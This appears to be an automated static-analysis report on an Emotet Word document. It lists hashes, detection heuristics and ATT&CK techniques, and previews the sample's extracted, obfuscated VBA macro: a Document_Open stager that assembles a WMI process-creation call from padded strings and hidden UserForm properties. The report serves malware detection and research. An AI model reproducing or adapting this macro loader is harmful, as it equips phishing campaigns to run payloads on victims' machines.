Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 8969e1e9e29920ba…

MALICIOUS

Office (OLE)

222.8 KB Created: 2020-08-27 06:19:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 18d4a65bd99fdb38c78702a86d55cd8f SHA-1: f1cb3b95c0ad3f294fb1d05d6b4d915e7523adc3 SHA-256: 8969e1e9e29920ba44157da474d4851706f1f63a58b7cd36a87845beaea2af9a
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm to execute code. This behavior is characteristic of Emotet, which often uses such techniques to download and execute further malicious payloads. The ClamAV detection also explicitly names Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9269 bytes
SHA-256: 5ad781e2927888595039b9f20ef44cee5346bb7fd776c312268ab0618a496c63
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "X7gtt920jht0sb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Hhieorzvjz9zclwrh.Fzhq303tnbn9
End Sub


Attribute VB_Name = "Hhieorzvjz9zclwrh"
Attribute VB_Base = "0{5635837F-4608-4FF9-9E5F-C86D50FC858B}{BCA47E31-EF9B-48F8-8C8E-29486E3D88FB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Fzhq303tnbn9()
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Olago8_dlmyvic0 = 100
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
W9j8n438fsb8 = ChrW(Olago8_dlmyvic0 + (xw + 5 + jwb + 10))
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Nddbmi44dcqhs388 = "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())i(hsv 32(()hq gq721g()))) hsu0())nm(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())gm(hsv 32(()hq gq721g()))) hsu0())t(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())" + W9j8n438fsb8 + "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0()):(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())in(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())3(hsv 32(()hq gq721g()))) hsu0())2(hsv 32(()hq gq721g()))) hsu0())_(hsv 32(()hq gq721g()))) hsu0())" + Hhieorzvjz9zclwrh.Otbmu_949e6d + "(hsv 32(()hq gq721g()))) hsu0())ro(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())ce(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())"
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Kgsii7mmlv_an = C4bl74lmyg7ki1s21z(Nddbmi44dcqhs388)
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
U5u4sd_g4rodmf = Hhieorzvjz9zclwrh.Gfrte5m_z9i9.ControlTipText
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Ygo90brrscpkan = Gno5mcelnwbj2o + (Kgsii7mmlv_an + W9j8n438fsb8 + Hhieorzvjz9zclwrh.Wcps6tmb6ko4qn.ControlTipText + U5u4sd_g4rodmf)
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
      
... (truncated)